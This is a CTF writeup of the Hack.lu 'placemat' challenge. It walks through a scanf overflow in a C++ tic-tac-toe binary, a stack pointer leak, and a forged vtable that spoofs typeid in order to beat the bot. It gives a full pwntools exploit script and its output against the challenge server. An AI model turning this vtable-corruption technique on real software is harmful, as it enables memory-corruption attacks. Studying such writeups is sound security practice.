Pwning C++: placemat writeup

 Date: October 30, 2022

Lately I was busy with finalizing my LuaJIT Research and some other stuff too, but I decided to take a small break for this weekend to play the Hack.lu CTF(organized by @fluxfingers) which was very fun. Even though I’m a C person; for the last couple of months I learned some C++(personal side-projects) from a dev perspective and when I saw the placemat challenge I decided it’s time to deal with my all-time nemesis: pwning in the land of C++. Plus, the primitives in this chall were quite straight-forward, which is a great opportunity to practice. So without further ado, let’s get to it.

Task

We were given a zip file, containing:

  • A compiled placemat binary(32bit, NX enabled, PIE disabled)
  • Sources and a meson.build file in case you’d want to create a build of your own

For some reason, I didn’t have all the symbols in the pre-compiled binary that they shipped in the zip file, so I decided to go with the following strategy: compile my own version → develop an exploit to fetch the demo flag → adjust some addresses in order to make it work on the production server to fetch the real flag.

It required me to spend some time fighting with the meson build system and compiler flags, but eventually I got it:

# works on ubuntu 20.04
apt-get install g++-10 g++-10-multilib -y
CXXFLAGS="-std=c++17" CC=g++-10 CXX=g++-10 meson build
ninja -C build/

Technical background

The binary is a tic-tac-toe game, allowing you to play against a human(‘multiplayer’) or a bot(‘single player’). In order to get the flag you’ll have to win the game against the bot(which is practically impossible to defeat).

Both Human and Bot has a very similar layout, and they are both inheriting from the Player class:

/* human.hpp */
class Human : public Player {
public:
	virtual void requestName();
	virtual Position takeTurn(Board &);
};

/* bot.hpp */
class Bot : public Player
{
public:
	virtual void requestName();
	virtual Position takeTurn(Board &);
};

/* player.hpp */
class Player {
public:
	char name[20];
	Player();
	virtual ~Player() = default;
	virtual void requestName() = 0;
	virtual Position takeTurn(Board &) = 0;
};

To start a new game, the binary has another class called Game, which contains pointers to the current player, its opponent, etc.:

/* game.hpp */
class Game
{
private:
	Player *player;
	Player *opponent;
	Player *activePlayer;
	Board board;
public:
	Game(Player *player, Player *opponent);
	void play();
	void printTurnIndicator() const;
	void printPlayerNames() const;
	void nextPlayer();
	void congratulate() const;
	static void startSingleplayer();
	static void startMultiplayer();
};

When starting a game(whether it’s against yourself or a bot) the player and opponent objects are allocated on the stack in the same order:

/* game.cpp */
void Game::startSingleplayer()
{
	Human human;
	Bot bot;
	human.requestName();
	bot.requestName();

	Game game(&human, &bot);
	game.play();
}

void Game::startMultiplayer()
{
	Human player1, player2;
	printf("Player 1: ");
	player1.requestName();
	printf("Player 2: ");
	player2.requestName();

	Game game(&player1, &player2);
	game.play();
}

The layout here is important, visually this is how the objects are stored in memory:

      4 bytes            20 bytes             4 bytes         20 bytes          4 bytes        4 bytes
+-------------------+------------------+------------------+----------------+--------------+----------*------+-----+
| Human vtable ptr  | human->name[20]  | Bot vtable ptr   | bot->name[20]  | *game->player | *game->opponent | ... |
+-------^-----------+------------------+--------^---------+----------------+-------|------+-------|---------+-----+
        |_______________________________________|__________________________________|              |
                                                |                                                 |
                                                |                                                 |
                                                |_________________________________________________|

Spotting the vuln

The vulnerabillity was in the Human::requestName() function:

/* humap.cpp */
void Human::requestName()
{
	printf("What's your name?\n");
	scanf("%s", this->name);
	util::readUntilNewline();
}

It uses scanf with the %s format specifier, which only stops at the first whitespace character/has no actual size limit. This allows us to overflow past the human->name[20] buffer into the opponent object.

Initial exploit (fail, partial)

The following script was the initial prototype for my exploit. My strategy was: to play against a Bot object(because that’s the only way to get the flag) and replace the opponent’s vtable with a Human vtable. This way, I’ll be the one who picks the moves for the opponent.

The following py script will generate a out.bin file that can be provided as input(i.e: cat out.bin | ./placemat)

payload = b''
payload += b'1\n' # Option 1(play)
payload += b'b\n' # Choose to play against a bot

payload += b'A'*20
payload += p32(0x0804c368) # Corrupt the bot's vtable ptr to a Human vtable 
payload += b'\x00\n' # end of input 

# start playing
payload += b'A1\n' # my move
payload += b'B1\n' # bot's move
payload += b'A2\n' # my move
payload += b'B2\n' # bot's move
payload += b'A3\n' # my move, I win :^) 

with open('out.bin', 'wb') as f:
    f.write(payload)

And it actually worked(well, almost). I managed to win & make the binary execute the Game::congratulate() function.

However, even though my player won the game, the type-check in Game::congratulate() prevented me from fetching the flag ;_; oof

// Check if the loosing player is a bot
if (typeid(*this->opponent) != typeid(Bot))
{
    return;
}

Overcoming the type-check

As mentioned in the beginning of the post: I’m (somewhat) familiar with C++ concepts but from a dev perspective. So I know some internals on a very basic level. However, to solve this I realized it’s time for me to dig into some C++ compiler internals(a.k.a: the black magic).

To do that, I fired-up IDA and analyzed my local build to see what happens inside the std::type_info::operator!=(std::type_info const&) function. Scary name I know, but bear with me.

We’ll start our analysis from our binary code to have the full context, then dive into the generated cpp code of the type_info != operator.

How types are compared

This is how the call/the type-check looks like from within our chall binary:

Essentially, when calling this function the binary provides a pointer to _ZTI3Bot: this data structure contains pointers to the class’ type information(such as: its name, its parent’s type information):

The interesting part that caught my attention was that C++ compilers tags it with a name, which is saved as a string 3Bot(highlighted).

Turns out, the way that std::type_info::operator!=(std::type_info const&) compare object types is just by strcmping their ‘tag’ string.

Note: The screenshot above shows the == and not the != operator because the implementation of != is just a wrapper of the function above. It takes the result and inverts it with xor operation. I chose to skip this part because prefer not too add too much useless noise to the analysis & jump straight to the point.

I also verified that by setting a breakpoint in gdb:

Knowing that, I had a new plan on how to overcome the type check.

New plan

So in order to bypass the type check and give the opponent a Human vtable: we’ll have to craft a very specific struct. This struct will contain a type information pointer pointing to a Bot type info AND a vtable of a Human object.

Originally, this is how a Human object looks in memory:

gef➤  print *this->player
$7 = {
  _vptr.Player = 0x804c368 <vtable for Human+8>,
  name = "lmao", '\000' <repeats 15 times>
}

gef➤  telescope 0x804c368-4
0x804c364│+0x0000: 0x804c378  →  0x804eedc  →  0xf7e6dee0  →  <__cxxabiv1::__si_class_type_info::~__si_class_type_info()+0> 
0x804c368│+0x0004: 0x804b076  →  <Human::~Human()+0> 
0x804c36c│+0x0008: 0x804b09c  →  <Human::~Human()+0> 
0x804c370│+0x000c: 0x804b0c6  →  <Human::requestName()+0> 
0x804c374│+0x0010: 0x804b100  →  <Human::takeTurn(Board&)+0> 

Side-note: A pointer to the type information is saved behind the vtable address(at (&vtable)-4 or (&vtable-8 on 64bit).

So our spoofed object’s layout should look like the following:

+0  ptr to Bot's type info struct
+4  Human vtable function ptr #1
+8  Human vtable function ptr #2
+12 Human vtable function ptr #3
+16 Human vtable function ptr #4

It adds up to a total of 20 bytes(five 32bit pointers). This size matches up exactly with our input buffer :^), nice! so we’ll store it in our player’s name(name[20]) and make the opponent’s vtable ptr to point there. But to do that, we’ll have to get some leaks.

Getting leaks

We’ll need to know beforehand the address of player->name[] because we’re going to overwrite the opponent’s vtable ptr with this value.

Getting leaks wasn’t too difficult: in order to understand where our payload begins in memory we can fill the opponent->name[20] buffer with exactly 20 bytes, all the way to the beginning of the Game object(where pointers to player and opponent are stored) without sending a nullbyte.

It will lead to a creation of a one contiguous string(opponent’s name, followed by Game’s properties). Thus, when the players’ names are printed to the screen - the program will spill 20 bytes of the opponent’s name followed by the pointers of the Game object.

Final exploit

To add everything together, the final plan is as follows:

  • Play 1st time:
    • Leaks: to understand where our payload starts, we’ll play once with a buffer of size 20 as the opponent’s name.
  • Play 2nd time:
    • Craft a data structure that points to a Bot type information and has a Human vtable function pointers.
    • Corrupt opponent’s vtable ptr and make it point to our spoofed struct(we know this address using the leak)
    • Play, win, get the flag

Below is the final exploit:

#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./build/placemat')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote('flu.xxx', 11701)
    else:
        return process([elf.path] + argv, *a, **kw)

# helpers
def sendchoice(option: int):
    io.sendlineafter(b'3 Exit', str(option).encode())
    return

def pos(xy_pos: bytes):
    io.sendlineafter(b'(e.g. A3):', xy_pos)
    return

def play():
    print('[*] Playing ... ')
    pos(b'A1')
    pos(b'B1')
    pos(b'A2')
    pos(b'B2')
    pos(b'A3')
    return

def init_game():
    print('[*] Starting a new game')
    sendchoice(1)
    io.sendlineafter(b'(b)ot or against a (h)uman?', b'h')
    return

def get_leaks():
    init_game()
    print('[*] Getting leaks')
    
    p1 = b'A'*19
    p2 = b'B'*20
    io.sendlineafter(b"Player 1: What's your name?", p1)
    io.sendlineafter(b"Player 2: What's your name?", p2)

    io.recvuntil(p2)
    leaks = io.recvuntil(b'\n', drop=True)

    game_ptrs = [
        u32(leaks[0:4]),
        u32(leaks[4:8]),
        u32(leaks[8:12]),
    ]

    print('[*] this->player :: ',   hex(game_ptrs[0]))
    print('[*] this->opponent :: ', hex(game_ptrs[1]))
    print('[*] this->activePlayer :: ', hex(game_ptrs[2]))
    play()
    return game_ptrs

# main
io = start()
game_ptrs = get_leaks()
init_game()
print('[*] Pwning opponent\'s vtable ptr')
payload = b''
payload += p32(0x0804C1D4) # Bot type info object
payload += p32(0x0804AED0) # →  <Human::~Human()+0> 
payload += p32(0x804AEF2) # →  <Human::~Human()+0> 
payload += p32(0x804AF18) # →  <Human::requestName()+0> 
payload += p32(0x804AF4E) # →  <Human::takeTurn(Board&)+0> 

payload += p32(game_ptrs[0] + 4 + 4) # pointing to our spoofed struct 
payload += b'B'*20
io.sendlineafter(b"Player 1: What's your name?", payload)
io.sendlineafter(b"Player 2: What's your name?", b'lmao-poggers')
play()

io.interactive()

output:

$ ./jax-prod.py REMOTE
[+] Opening connection to flu.xxx on port 11701: Done
[*] Starting a new game
[*] Getting leaks
[*] this->player ::  0xff842eec
[*] this->opponent ::  0xff842f04
[*] this->activePlayer ::  0xff842f04
[*] Playing ...
[*] Starting a new game
[*] Pwning opponent's vtable ptr
[*] Playing ...
[*] Switching to interactive mode

X  \xd4\xc1\x04Ю\x04\xf2\xa\x18\x04N\xaf\x04\xf4.\x84\xfflmao-poggers        lmao-poggers  O

                   A   B   C

               1   X │ O │
                  ───┼───┼───
               2   X │ O │
                  ───┼───┼───
               3   X │   │


\xd4\xc1\x04Ю\x04\xf2\xa\x18\x04N\xaf\x04\xf4.\x84\xfflmao-poggers won!

Congratulations for defeating lmao-poggers.

The redemption code for your free dessert is: FLAG{They_told_me_the_only_winning_move_was_not_to_play._Yet_I_lost}

Thanks for the challenge!

 Tags:  ctf pwn c++

Previous
⏪ LuaJIT Internals(Pt. 3/3): Crafting Shellcodes

Next
LibJS exploitation: 'broobwser' writeup ⏩